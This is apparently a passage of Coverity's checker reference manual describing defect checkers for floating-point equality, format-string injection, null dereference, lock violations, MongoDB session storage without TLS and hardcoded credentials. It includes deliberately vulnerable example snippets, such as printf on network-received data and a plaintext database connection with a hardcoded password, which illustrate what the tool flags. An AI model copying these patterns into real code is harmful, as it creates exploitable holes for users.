Coverity supports SpotBugs analysis through the **cov-analyze** command. SpotBugs (historically known as FindBugs) is an open source program for finding bugs (defects) in Java code. It provides a large group of SpotBugs bug patterns that can detect a wide variety of defects. The SpotBugs Checker Reference [☞](#) describes each of the SpotBugs bug patterns. (The descriptions come from the SpotBugs documentation that is available from <http://spotbugs.readthedocs.io/> [☞](#).)

Note that the SpotBugs reference adds an `FB.` prefix to each bug pattern. This prefix allows you to distinguish SpotBugs bugs from defects found by Coverity checkers. For example, `DM_EXIT` in the SpotBugs documentation is the same as `FB.DM_EXIT` in the reference.

Like other defects, SpotBugs bugs appear in the output of the console that you use to run **cov-analyze** and among defects that you commit to Coverity Connect through the **cov-commit-defects** command.

SpotBugs defects are not affected by Coverity annotations. For more information, see <http://spotbugs.readthedocs.io/> [☞](#).

Quality-only SpotBugs checkers

**Enabled by Default:** Quality-only SpotBugs checkers are enabled by default. To disable them, see Section 1.2.1, “Enabling and Disabling Checkers with `cov-analyze`”.

Security-related SpotBugs checkers

Many security-related checkers are disabled by default. To enable them, see the Java SpotBugs options to **cov-analyze** in the *Coverity Command Reference*.

Note that security-related Spotbugs checkers are also quality checkers. However, not all quality-related SpotBugs checkers are security checkers.

## 4.160. FLOATING\_POINT\_EQUALITY

Quality Checker

### 4.160.1. Overview

**Supported Languages:** C, C++

The `FLOATING_POINT_EQUALITY` checker requires that floating-point expressions not be directly or indirectly tested for equality or inequality. The inherent nature of floating-point types is such that comparisons of equality will often not evaluate to true, even when they are expected to. Also, the behaviour of such a comparison cannot be predicted before execution, and might vary from across implementations.

(The checker is adapted from MISRA C++2008 Rule 6-2-2.)

**Disabled by default:** `FLOATING_POINT_EQUALITY` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

### 4.160.2. Defect Anatomy

`FLOATING_POINT_EQUALITY` reports on cases where floating-point expressions are directly or indirectly tested for equality or inequality. The inherent nature of floating-point types is such that comparisons of equality will often not evaluate to true, even when they are expected to. Also, the behaviour of such a comparison cannot be predicted before execution, and might well vary from one implementation to another.

### 4.160.3. Examples

This section provides one or more `FLOATING_POINT_EQUALITY` examples.

With respect to the following example, a `FLOATING_POINT_EQUALITY` defect would be reported for for each `if` statement.

```
float32_t x, y;
 if (x == y) {}
 if (x == 0.0f) {}
```

An indirect test would also produce report a defect for each test shown below:

```
float32_t x, y;
 if ((x <= y) && (x >= y)) {}
 if ((x < y) || (x > y)) {}
```

If the tests do not purely test equality, no defect is reported; for example:

```
float32_t x, y;
 if ((x < y)) {}
 if ((x <= y)) {}
```

### 4.160.4. Events

This section describes one or more events produced by the `FLOATING_POINT_EQUALITY` checker.

- `floating_point_equality` - the main event, which shows floating-point expressions are tested for equality or inequality.

## 4.161. FORMAT\_STRING\_INJECTION

Security Checker

### 4.161.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`FORMAT_STRING_INJECTION` finds a security vulnerability that occurs when an unscrutinized value from an untrusted source is used to construct a format string.

The `FORMAT_STRING` sink type is relevant to this checker.

**Disabled by default:** `FORMAT_STRING_INJECTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

You can also enable this checker using the `--security` option to the `cov-analyze` command.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.161.2. Examples

This section provides one or more `FORMAT_STRING_INJECTION` examples.

In the following C example, a `FORMAT_STRING_INJECTION` defect is displayed for the `printf` statement. Assuming that `message` is controlled by an attacker, `printf(message)` might cause buffer overflow and let the attacker control the application.

```
void bug(int socket) {
 char message[1024];
 if (recv(socket, message, sizeof(message), 0) > 0) {
 printf(message); //defect
 }
}
```

### 4.161.3. Options

This section describes one or more `FORMAT_STRING_INJECTION` options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `FORMAT_STRING_INJECTION:distrust_all:<boolean>` - [C, C++, JavaScript, PHP, Python, Swift] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `FORMAT_STRING_INJECTION:distrust_all:false`.

This checker option is automatically set to `true` for C and C++ if the `--aggressiveness-level` option of the `cov-analyze` command is set to `high`.

- `FORMAT_STRING_INJECTION:paranoid:<boolean>` - [C, C++] Report the defect if a non-constant string is used as a format string argument. This addresses the case where Coverity Analysis does not track the propagation of a tainted string, which typically occurs once the string flows through a global variable. For a format string vulnerability, adding a correct format

specifier (usually "%s") as the format string argument usually alleviates the problem. Defaults to `FORMAT_STRING_INJECTION:paranoid:false`. The option is automatically enabled when the aggressiveness level is `high`.

- `FORMAT_STRING_INJECTION:trust_command_line:<boolean>` - [C, C++] Setting this option to `false` causes the analysis to treat command line arguments as tainted. Defaults to `FORMAT_STRING_INJECTION:trust_command_line:true` for all languages. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `FORMAT_STRING_INJECTION:trust_console:<boolean>` - [C, C++] Setting this Web application security option to `false` causes the analysis to treat data from the console as tainted. Defaults to `FORMAT_STRING_INJECTION:trust_console:true` for all languages. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `FORMAT_STRING_INJECTION:trust_cookie:<boolean>` - [C, C++] Setting this Web application security option to `false` causes the analysis to treat data from HTTP cookies as tainted. Defaults to `FORMAT_STRING_INJECTION:trust_cookie:false` for all languages. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `FORMAT_STRING_INJECTION:trust_database:<boolean>` - [C, C++] Setting this Web application security option to `false` causes the analysis to treat data from a database as tainted. Defaults to `FORMAT_STRING_INJECTION:trust_database:true` for all languages. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `FORMAT_STRING_INJECTION:trust_environment:<boolean>` - [C, C++] Setting this Web application security option to `false` causes the analysis to treat data from environment variables as tainted. Defaults to `FORMAT_STRING_INJECTION:trust_environment:true` for all languages. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `FORMAT_STRING_INJECTION:trust_filesystem:<boolean>` - [C, C++] Setting this Web application security option to `false` causes the analysis to treat data from the filesystem as tainted. Defaults to `FORMAT_STRING_INJECTION:trust_filesystem:true` for all languages. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `FORMAT_STRING_INJECTION:trust_http:<boolean>` - [C, C++] Setting this Web application security option to `false` causes the analysis to treat data from HTTP requests as tainted. Defaults to `FORMAT_STRING_INJECTION:trust_http:false` for all languages. Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `FORMAT_STRING_INJECTION:trust_http_header:<boolean>` - [C, C++] Setting this Web application security option to `false` causes the analysis to treat data from HTTP headers as tainted. Defaults to `FORMAT_STRING_INJECTION:trust_http_header:false` for all languages. Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.

- `FORMAT_STRING_INJECTION:trust_network:<boolean>` - [C, C++] Setting this Web application security option to false causes the analysis to treat data from the network as tainted. Defaults to `FORMAT_STRING_INJECTION:trust_network:false` for all languages. Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `FORMAT_STRING_INJECTION:trust_rpc:<boolean>` - [C, C++] Setting this Web application security option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `FORMAT_STRING_INJECTION:trust_rpc:false` for all languages. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `FORMAT_STRING_INJECTION:trust_system_properties:<boolean>` - [C, C++] Setting this Web application security option to false causes the analysis to treat data from system properties as tainted. Defaults to `FORMAT_STRING_INJECTION:trust_system_properties:true` for all languages. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

#### 4.161.4. Models and Annotations

##### 4.161.4.1. C, C++, Objective C, Objective C++

You can create custom user models to indicate security-specific information about certain functions.

The next model indicates that `custom_sanitize()` returns true if the `s` argument is valid (and thus should no longer be considered tainted). If the `s` argument is not valid, `custom_sanitize()` returns false and the analysis continues to track `s` as tainted:

```
bool custom_sanitize(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, FORMAT_STRING);
 return true;
 }
 return false;
}
```

You can model additional C/C++ tainted sources and sinks with the `__coverity_mark_pointee_as_tainted__` and `__coverity_taint_sink__` modeling primitives.

As an alternative to library models, you can use the following function annotation tags in source code comments that immediately precede the targeted function:

- `+taint_sanitize`: specifies that a function sanitizes a string argument. For example, the following specifies that `custom_sanitize()` sanitizes its `s` string argument:

```
// coverity[+taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `+taint_source` (without an argument): Specifies that the function returns tainted string data. For example, the following code specifies that `packet_get_string()` returns a tainted string value:

```
// coverity[+taint_source]
char* packet_get_string() {...}
```

- `+taint_source` (with an argument): Specifies that the function taints the contents of the specified string argument. For example, the following specifies that `custom_string_read()` taints the contents of its `s` argument:

```
// coverity[+taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



#### Note

The `taint_source` function annotation operates in conjunction with these checkers: `FORMAT_STRING_INJECTION`, `HEADER_INJECTION`, `OS_CMD_INJECTION`, `PATH_MANIPULATION`, `SQLI`, `TAINTED_SCALAR`, `TAINTED_STRING`, `URL_MANIPULATION`, and `XPATH_INJECTION`.

You can use the following function annotation tags to ignore function models:

- `-taint_sanitiz`: Specifies that a function does not sanitize a string argument. For example, the following specifies that `custom_sanitiz` does not sanitize its `s` string argument:

```
// coverity[-taint_sanitiz : arg-*0]
void custom_sanitiz(char* s) {...}
```

- `-taint_source` (without an argument): Specifies that the function does not return tainted string data. For example, the following specifies that `packet_get_string()` does not return a tainted string value:

```
// coverity[-taint_source]
char* packet_get_string() {...}
```

- `-taint_source` (with an argument): Specifies that the function does not taint the contents of the specified string argument. For example, the following specifies that `custom_string_read()` does not taint the contents of its `s` argument:

```
// coverity[-taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```

## 4.162. FORWARD\_NULL

Quality Checker

### 4.162.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Swift, Scala, TypeScript, Visual Basic

`FORWARD_NULL` finds errors that can result in program termination or a runtime exception. It finds many instances where a pointer or reference is checked against `null` or assigned `null` and then later dereferenced. For JavaScript, PHP, Python, and Ruby this checker finds many instances where a value is checked against or assigned `null` or `undefined` and later used as an object (that is, by accessing a property of it) or function (that is, by calling it).

**Enabled by default:** `FORWARD_NULL` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

**Android (Java only):** For Android-based code, this checker finds issues related to user activities, screen activities, application state, and other items.

#### 4.162.1.1. C/C++, Go

Dereferencing a null pointer leads to undefined behavior, which is usually a program crash.

The `FORWARD_NULL` checker reports three cases for C/C++:

- Checking against `NULL` and then dereferencing on a path on which it was null.
- Assigning `NULL` and then taking a path on which the value has not changed.
- Dereferencing the return value from `dynamic_cast` without first checking it against `NULL`. If you know that the value will always be non-null, then you can use `static_cast` to avoid a defect report.

#### 4.162.1.2. C#, Java, Scala, and Visual Basic

Dereferencing a null reference variable results in a runtime error, halting execution. Typically, this error is caused by checking for null and then not properly handling the condition, or not checking for null in a code path.

For C# and Visual Basic, the checker reports defects that result from unchecked dereferences of the results of `as` and `TryCast` expressions. The checker categorizes such expressions as unchecked `as` and `TryCast` conversions.

For Java, dereferencing a null reference variable results in a `NullPointerException` at runtime, halting execution. Typically, this error is caused by checking for null and then not properly handling the condition, or not checking for null in a code path.

#### 4.162.1.3. JavaScript, TypeScript

Using a null or undefined value as an object (that is, by accessing any of its properties) or as a function (that is, by calling it) results in a runtime exception, which halts execution. The JavaScript `FORWARD_NULL` checker reports the following cases:

- Accessing a property of a value or calling a value that was previously compared to `null` or `undefined`.

- Accessing a property of a value or calling a value that was previously assigned `null` or `undefined`.
- Accessing a property of a value or calling a value that is implicitly initialized to `undefined`.

#### 4.162.1.4. PHP

Calling an undefined function (or method), creating an instance of an undefined class, throwing a null value are all examples of fatal errors. Although accessing a null value is generally not a fatal error in PHP, `FORWARD_NULL` detects any use of null values in fatal error situations such as those.

#### 4.162.1.5. Python

In Python, using a null-like value in an expression will result in an exception, which halts execution.

A null-like value can be created explicitly by assigning `None`, `Ellipsis` or `NotImplemented`, by assigning the return value of a function that returns void, or by using a variable before it has been assigned.

Uses that cause an exception include using the null-like value as an operand of a unary or binary operator, or using it as the base name of a property reference or function call.

#### 4.162.1.6. Ruby

In Ruby, the predefined constant objects `nil`, `false`, and `true` have well-known and limited interfaces. Given one of these objects, an attempt to invoke a method on it that lies outside of its well-known interface is likely to result in a `NameError` or `NoMethodError` exception.

Symbols known to refer to `nil`, `false`, or `true` are tracked. When a method is invoked on such a symbol and the name of the method is not one of the well-known method names, it is considered a `null` dereference, and a defect is reported.

#### 4.162.1.7. Swift

In Swift, this checker finds many cases in which an optional value is checked against or assigned `nil` and then unwrapped, usually with some kind of `!` operator or declaration.

```
handler?.handle(a)
handler!.handle(b) // FORWARD_NULL
```

The first statement checks the handler for `nil` and skips the call if it is `nil`. The second statement asserts that the handler is not `nil` and executes a similar call. This inconsistency about whether the handler is potentially `nil` is reported as a defect.

### 4.162.2. Defect Anatomy

A `FORWARD_NULL` defect shows a path through which a null or undefined value is used in way that will crash or throw an exception at runtime. Which specific values are unsafe and which particular accesses

trigger an exception or crash vary across languages. This checker only reports those combinations that cause a crash or exception.

There are several possible places for the path to start corresponding to different kinds of evidence that a value is null, undefined, or otherwise unsafe to use.

- An explicit assignment of `null` to a variable.
- Explicitly passing `null` to a function that might use it unsafely.
- A check that a value is not null, defined, or otherwise safe to use.
- The implicit initialization of a local variable to an unsafe value.

The path ends with an unsafe use of the value: dereference, accessing a field or property, or calling it as a function.

### 4.162.3. Examples

This section provides one or more `FORWARD_NULL` examples.

#### 4.162.3.1. C/C++

In this example, `p` is first checked against `NULL`, then later dereferenced without checking against `NULL` again.

```
int forward_null_example1(int *p) {
 int x;
 if (p == NULL) {
 x = 0;
 } else {
 x = *p;
 }
 x += fn();
 *p = x; // Defect: p is potentially NULL
 return 0;
}
```

The following examples illustrate the effect of the checker option `deref_zero_errors:boolean`.

Here are two examples of an issue detected with `-co FORWARD_NULL:deref_zero_errors:true`.

```
char *pDest;

void test1() {
 memcpy(pDest, NULL, 10);
}
```

```
char *pDest;

void foo(char *p) {
 memcpy(pDest, p, 10);
}

void bar() {
 foo(NULL);
}
```

Finally, here is an example that shows no issue is detected with `-co FORWARD_NULL:deref_zero_errors:true` but no dereference.

```
char *pDest;

void foo2(char *p) {
 if (p) {
 memcpy(pDest, p, 10);
 }
}

void bar() {
 foo2(NULL);
}
```

#### 4.162.3.2. C#

In this example, `o` is first checked against `null`, then later dereferenced without checking against `null` again.

```
public class ForwardNull {
 void Example(object o) {
 if (o != null) {
 }
 // o will be null on the 'else' case of the if.
 System.Console.WriteLine(o.ToString());
 }
}
```

#### 4.162.3.3. Go

In the following example, a `FORWARD_NULL` defect is detected for the last statement.

```
type Config struct {
 host string
 port int
 setup bool
}

func setup(c *Config) {
```

```
if c != nil {
 c.port = 80
}
c.setup = false
}
```

#### 4.162.3.4. Visual Basic

In this example, `o` is first checked against `Nothing`, then later dereferenced without checking against `Nothing` again.

```
Imports System
Public Class ForwardNull
 Private Sub Example(o As Object)
 If o IsNot Nothing Then
 End If
 ' o will be null on the 'Else' case of the If.
 Console.WriteLine(o.ToString())
 End Sub
 End Class
```

#### 4.162.3.5. Java

In this example, `callA` passes `null` to `testA`, which dereferences its argument. There is also a control, `callB`, that passes `new Object()` to `testA`, showing that no defect is reported.

```
public class ForwardNullExample {
 public static Object callA() {
 // This causes a FORWARD_NULL defect report
 return testA(null);
 }

 public static Object callB() {
 // No defect report
 return testA(new Object());
 }

 public static String testA(Object o) {
 return o.toString();
 }
}
```

#### 4.162.3.6. Scala

In this example, `p` is first checked against `null`, then later dereferenced without checking against `null` again.

```
def example(p : AnyRef) {
 if (p ne null) {
 p.hashCode();
 }
}
```

```

}
p.hashCode(); // Defect here.
}

```

#### 4.162.3.7. JavaScript

In `example1`, `x` is first checked against `null`, then dereferenced without checking against `null` again. In `example2`, `name` is conditionally assigned based on the value of `pos`, but is dereferenced later without checking it has been assigned.

```

function example1(x) {
 if(x !== null) {
 }
 // x will be null on the 'else' case of the if.
 x();
}

function example2(userInput) {
 var name; // name is implicitly assigned to undefined
 var pos = userInput.indexOf("name:");
 if (pos >= 0) {
 name = userInput.substring(pos + "name:".length);
 }
 // name will be undefined on the 'else' case of the if.
 return name.substring(0,8);
}

```

#### 4.162.3.8. PHP

In this example, `fn` is first checked against `NULL`, then later invoked without checking against `NULL` again.

```

function forward_null_example1($fn, $arg) {
 if ($fn !== NULL) {
 something();
 }
 // fn will be NULL on else branch of if
 return $fn($arg); // Defect here.
}

```

In this example, `obj` is first checked against `NULL`, then later accesses a member without checking for `NULL` again. This won't cause an error, but evaluated to `null`, which might not be what was intended.

```

function forward_null_example2($obj, $arg) {
 if ($obj !== NULL) {
 something();
 }
 // $obj will be NULL on else branch of if.
 // $obj->method won't cause fatal error, but evaluates null.
 return $obj->method($arg); // Defect here.
}

```

```
}
```

#### 4.162.3.9. Python

In this example, `obj` is first checked against `None`, then later accesses a member without checking against `None` again.

```
def forward_null_example(obj):
 if (obj is not None):
 something()
 # obj will be NULL on else branch of if
 return obj.foo # Defect here.
```

In this example, `obj` is first checked against `None`, then later calls a method on `obj` without checking against `None` again.

```
def forward_null_example2(obj):
 if (obj is not None):
 something()
 # obj will be NULL on the else branch of if
 return obj.method() # Defect here.
```

#### 4.162.3.10. Ruby

In this example, `obj` is first checked against `nil`, then later calls a method on `obj` without checking against `nil` again. This example also shows that accessing `response_to`, a well-known member of the `NilClass` interface, does not report a defect.

```
def call_on_inferred_nil(x)
 if not x
 puts "x is nil or false on this path."
 end
 # On one of two paths reaching here, x is nil or false.

 # Invoking 'respond_to?' on x is OK because it is
 # part of the well-known NilClass interface.
 return 'FAIL' if not x.respond_to?(:is_a?) # No defect here.

 # But invoking 'call' causes a defect because it is not well-known.
 x.call() # Defect here.
end
```

#### 4.162.4. Options

This section describes one or more `FORWARD_NULL` options.

- `FORWARD_NULL:aggressive_derefs:<boolean>` - When this option is true, the checker identifies paths from null values to uses of these values that cannot tolerate null values with less certainty than it does by default. See also, the `very_aggressive_derefs` checker option. Defaults to `FORWARD_NULL:aggressive_derefs:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the analysis command is set to `medium` (or `high`) for C/C++, C#, Java, and PHP.

- `FORWARD_NULL:aggressive_null_sources:<boolean>` - When this option is true, the checker identifies null sources with less certainty than it does by default. Defaults to `FORWARD_NULL:aggressive_null_sources:false` (all languages). This option is automatically enabled (`true`) at aggressiveness levels `medium` and `high`.
- `FORWARD_NULL:assume_write_to_addr_of:<boolean>` - When this option is true, the checker stops tracking a pointer when its address is taken as an argument. Defaults to `FORWARD_NULL:assume_write_to_addr_of:false` for C, C++, C#, Visual Basic, Objective-C, and Objective-C++ only.
- `FORWARD_NULL:as_conversion:<boolean>` - When this option is true, the checker reports defects when null is returned from the `as` operator. (This C# and Visual Basic-only option is equivalent to the `dynamic_cast` option for C, C++, Objective-C, and Objective-C++.) Defaults to `FORWARD_NULL:as_conversion:false` for C# and Visual Basic only.

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `FORWARD_NULL:deref_zero_errors:<boolean>` - When this option is set to true, the checker reports defects if a literal null or undefined value is used unsafely. When it is false, the checker ignores these issues, treating them as intentional. Defaults to `FORWARD_NULL:deref_zero_errors:false` for C, C++, Go, JavaScript, Objective-C, Objective-C++, and TypeScript. Defaults to `FORWARD_NULL:deref_zero_errors:true` for C#, Visual Basic, Java, Scala, and Swift only.

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `FORWARD_NULL:dynamic_cast:<boolean>` - When this C++ option is true, the checker reports defects when null is returned from a dynamic cast and subsequently dereferenced without checking. Defaults to `FORWARD_NULL:dynamic_cast:true` (Not for Scala)

To disable this option, specify `--checker-option FORWARD_NULL:dynamic_cast:false` for C++ only (when running the analysis).

- `FORWARD_NULL:fields_from_new:<boolean>` - When this option is true, the checker reports null dereferences on fields that are assigned `null` (implicitly or explicitly) in a constructor called by using `new`. Defaults to `FORWARD_NULL:fields_from_new:false` for C++, Java, C#, and Visual Basic only.

Java Example:

```
class Wrapper {
 Object mObj;
}
```

```
void fieldsFromNew() {
 new Wrapper().mObj.toString(); // FORWARD_NULL reported with option
}
```

- `FORWARD_NULL:track_macro_nulls:<boolean>` - When this option is true, the checker reports defects where the assignment to or check against null is in a macro. By default, the checker ignores explicit null assignments occurring in a macro because these often happen as a result of conditions that are true for some macro invocations but not all. Defaults to `FORWARD_NULL:track_macro_nulls:false` for C, and C++ only.

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `medium` (or to `high`).

The following example can be detected:

```
#define VERIFY(truism) ((truism)? true : false)
void example(void)
{
 int *p = GetInt();
 if (!VERIFY(p != NULL))
 {
 }
 *p = 0;
}
```

- `FORWARD_NULL:very_aggressive_derefs:<boolean>` - When this option is true, the checker identifies paths from null values to uses of these values that cannot tolerate null values with significantly less certainty than it does by default. See also, the `aggressive_derefs` checker option. Defaults to `FORWARD_NULL:very_aggressive_derefs:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `high`.

#### 4.162.5. Events

This section describes one or more events produced by the `FORWARD_NULL` checker.

- **Beginning events**

- `assign_zero` - A variable was assigned the value `NULL`.
- `dynamic_cast` - `NULL` was returned from a dynamic cast. A dynamic cast to a pointer type can, by design, return `NULL`.
- `var_compare_op` - A variable is compared to `NULL` preceding a null pointer dereference.

- **Middle events**

- `alias_transfer` - A variable was assigned a potentially null pointer.

- `identity_transfer` - A function's return value is `NULL` because one of the function's arguments is potentially null and is returned without modification.
- **End events**
  - `dereference` - An increment of a possible null value `iptr`.
  - `var_deref_model` - A potentially null pointer was passed to a function that dereferences it.
  - `var_deref_op` - A null pointer dereferencing operation.
  - `zero_deref` - A dereference of a null pointer literal.

## 4.163. GUARDED\_BY\_VIOLATION

Quality, C# Concurrency Checker

### 4.163.1. Overview

**Supported Languages:** C#, Go, Java

`GUARDED_BY_VIOLATION` finds many instances of fields that are updated without locks, causing potential race conditions which can lead to unpredictable or incorrect program behavior.

`GUARDED_BY_VIOLATION` infers guarded-by-relationships to track when fields are updated with known locks. A field `f` is guarded-by field `g` if concurrent accesses to `f` require `g` as a held lock. A defect is reported if the checker infers that the lock guards the field at least 70% of the time, or if there are only three total accesses of a field with two accesses guarded, in which case the field is inferred to be guarded. When there are in total only two accesses of a field, and only one of them is guarded, use `--checker-option=LOCK_FINDER:report_one_out_of_two` to report a defect for the unguarded access.

In Coverity Connect, the unguarded access event is displayed on the page that contains examples of guarded field accesses. You can click the file names to see the events in-line with the code. In some circumstances, for instance, if the source for the example guarded field access is not available, a `guarded_access_in_bytecode` event is displayed.

This checker does not report defects in the following methods:

- Constructors.
- Static initializers.
- C#-specific: The `ToString`, `GetHashCode`, and `Equals` methods.
- Java-specific: The `clone`, `toString`, `hashCode`, and `equals` methods.
- Methods that do not have source code, such as in library classes.

### Enablement

## C#, Java

- **Enabled by default:** `GUARDED_BY_VIOLATION` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

## Go

- **Disabled by default:** `GUARDED_BY_VIOLATION` is disabled by default. You can enable it using the `--concurrency` option. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.163.2. Examples

This section provides one or more `GUARDED_BY_VIOLATION` examples.

#### 4.163.2.1. C#

In the following example, `myLock` guards `myData`. A defect is reported in `UnsafeAccess()` if the checker infers that `myLock` guards `myData`.

```
using System;

public class GuardedByViolation
{
 private int myData;
 private Object myLock;

 public void InferGuardedByRelationship()
 {
 lock(myLock) {
 myData++;
 myData--;
 myData *= myData;
 myData /= myData;
 // ...
 }
 }

 public void UnsafeAccess()
 {
 myData ^= myData;
 }
}
```

#### 4.163.2.2. Go

In the following example, function `double()` updates `t.data` without a lock. However, `t.data` is updated with a lock in three other functions.

```
type MyType struct {
```

```

mutex *sync.Mutex
data int
}

func (t * MyType)increase() {
 t.mutex.Lock()
 t.data++
 t.mutex.Unlock()
}

func (t * MyType)decrease() {
 t.mutex.Lock()
 t.data--
 t.mutex.Unlock()
}

func (t * MyType)divide_by_two() {
 t.mutex.Lock()
 t.data /= 2
 t.mutex.Unlock()
}

func (t * MyType)double() {
 t.mutex.Lock()
 t.mutex.Unlock()
 t.data *= 2 //#defect#GUARDED_BY_VIOLATION
}

```

#### 4.163.2.3. Java

In the following example, `GuardedByViolationExample.lock` guards `count`. A defect is reported in `decrement()` if the checker infers that `GuardedByViolationExample.lock` guards `count`.

```

public class GuardedByViolationExample {
 int count;
 Object lock;

 public void increment() {
 synchronized(lock) { // example_lock event
 count++; // example_access event
 }
 }

 public void times_two() {
 synchronized(lock) { // example_lock event
 count *= 2; // example_access event
 }
 }

 public void square() {
 synchronized(lock) { // example_lock event
 count *= count; // example_access event
 }
 }
}

```

```

public void decrement() {
 count--; // Defect: missing_lock
}
}

```

### 4.163.3. Options

C# and Java

This section describes one or more `GUARDED_BY_VIOLATION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `GUARDED_BY_VIOLATION:lock_inference_threshold:<percentage>` - This C# and Java option specifies the minimum percentage of accesses to a global variable or field of a struct that must be protected by a particular lock for the checker to determine that the variable or field should always be protected by that lock. Variable `v` is treated as protected by lock `l` if the proportion of the number accesses of `v` with `l` compared to the total number of accesses of `v` is greater than or equal to the percentage you set. If the percentage is set to 50 when two out of four accesses of `v` occur with `l`, the checker will issue a defect. If set to 75, such a scenario would not produce a defect report. Defaults to `GUARDED_BY_VIOLATION:lock_inference_threshold:70` (for C# and Java).

```
--checker-option GUARDED_BY_VIOLATION:lock_inference_threshold:50
```

- `GUARDED_BY_VIOLATION:lock_finder:report_one_out_of_two` - When there are a total of two accesses of a field, and only one of them is guarded, use this option to report a defect for the unguarded access.

### 4.163.4. Annotations

Java only

For Java, `GUARDED_BY_VIOLATION` checker recognizes the following annotation:

- `@GuardedBy`

You can use the `GuardedBy` annotation to specify a field's lock. Put the annotation on the line above the field declaration. The lock name is a combination of the class name and lock name:

```
@GuardedBy(" LockName ")
```

For example, the following annotation indicates that `count` has a guarded-by relationship with `GuardedByViolationExample2_Annotation.lock` and a defect will be reported whenever the checker finds a `count` field that is accessed without that lock.

```

import com.coverity.annotations.GuardedBy;

public class GuardedByViolationExample2_Annotation {
 @GuardedBy("GuardedByViolationExample2_Annotation.lock")

```

```
int count;
Object lock;

public void increment() {
 count++; /* Defect: missing_lock with
 no example of guarded access */
}
}
```

See Section 5.4.2, “Adding Java Annotations to Increase Accuracy” and the Javadoc documentation at [http://<install\\_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html](http://<install_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html) for more information.

### 4.163.5. Events

C# and Java

This section describes one or more events produced by the `GUARDED_BY_VIOLATION` checker.

- `access_alias` - Assignment of a variable to another variable.
- `example_access` - An example field is accessed with a lock.
- `example_lock` - An example lock is acquired.
- `lock` - [C# only] Calls to `System.Threading.Monitor.Enter()`. C#-specific event.
- `java_lock` - [Java only] Calls to `java.util.concurrent.locks lock()`. Java-specific event.
- `unlock` - [C# only] Calls to `System.Threading.Monitor.Exit()`. C#-specific event.
- `java_unlock` - [Java only] Calls to `java.util.concurrent.locks unlock()`. Java-specific event.
- `missing_lock` - A field is accessed without a lock guard.

## 4.164. HAPI\_SESSION\_MONGO\_MISSING\_TLS

Security Checker

### 4.164.1. Overview

**Supported Languages:** JavaScript, TypeScript

`HAPI_SESSION_MONGO_MISSING_TLS` finds cases when a `Hapi.js` application uses a remote MongoDB for session storage, but does not enable SSL on the database connection through the `hapi-session-mongo` plugin. This allows an attacker with access to the network to eavesdrop on any data sent to or retrieved from the database.

**Disabled by default:** `HAPI_SESSION_MONGO_MISSING_TLS` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `HAPI_SESSION_MONGO_MISSING_TLS` along with other Web application checkers, use the `--webapp-security` option.

## 4.164.2. Examples

This section provides one or more `HAPI_SESSION_MONGO_MISSING_TLS` examples.

In the following example, a `HAPI_SESSION_MONGO_MISSING_TLS` defect is displayed for the `register` function that registers the `hapi-session-mongo` plugin without setting its `ssl` value to `true` for a remote database:

```
const Hapi = require('hapi');
const server = new Hapi.Server();

server.connection({ port: 3000 });

server.register([
 // HAPI_SESSION_MONGO_MISSING_TLS defect
 register: require('hapi-session-mongo'),
 options: {
 ip: '192.158.0.1',
 db: 'user',
 name: 'sessions',
 pwd: 'shhh i am secret',
 }
]);
```

## 4.165. HARDCODED\_CREDENTIALS

Security Checker

### 4.165.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, Kotlin, Objective-C, Objective-C++, JavaScript, PHP, Python, Ruby, Swift, TypeScript, Visual Basic

`HARDCODED_CREDENTIALS` searches for passwords, cryptographic keys, and security tokens that are stored directly in source code (hardcoded). Users with access to such source code can then use these credentials to access production data or services. Changing these credentials requires changing the code and redeploying the application.

**Disabled by default:** `HARDCODED_CREDENTIALS` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**For Go, Kotlin, Ruby, and Swift,** `HARDCODED_CREDENTIALS` is enabled by default.

**Android security checker enablement:** To enable `HARDCODED_CREDENTIALS` along with other Java Android security checkers, use the `--android-security` option with the `cov-analyze` command.

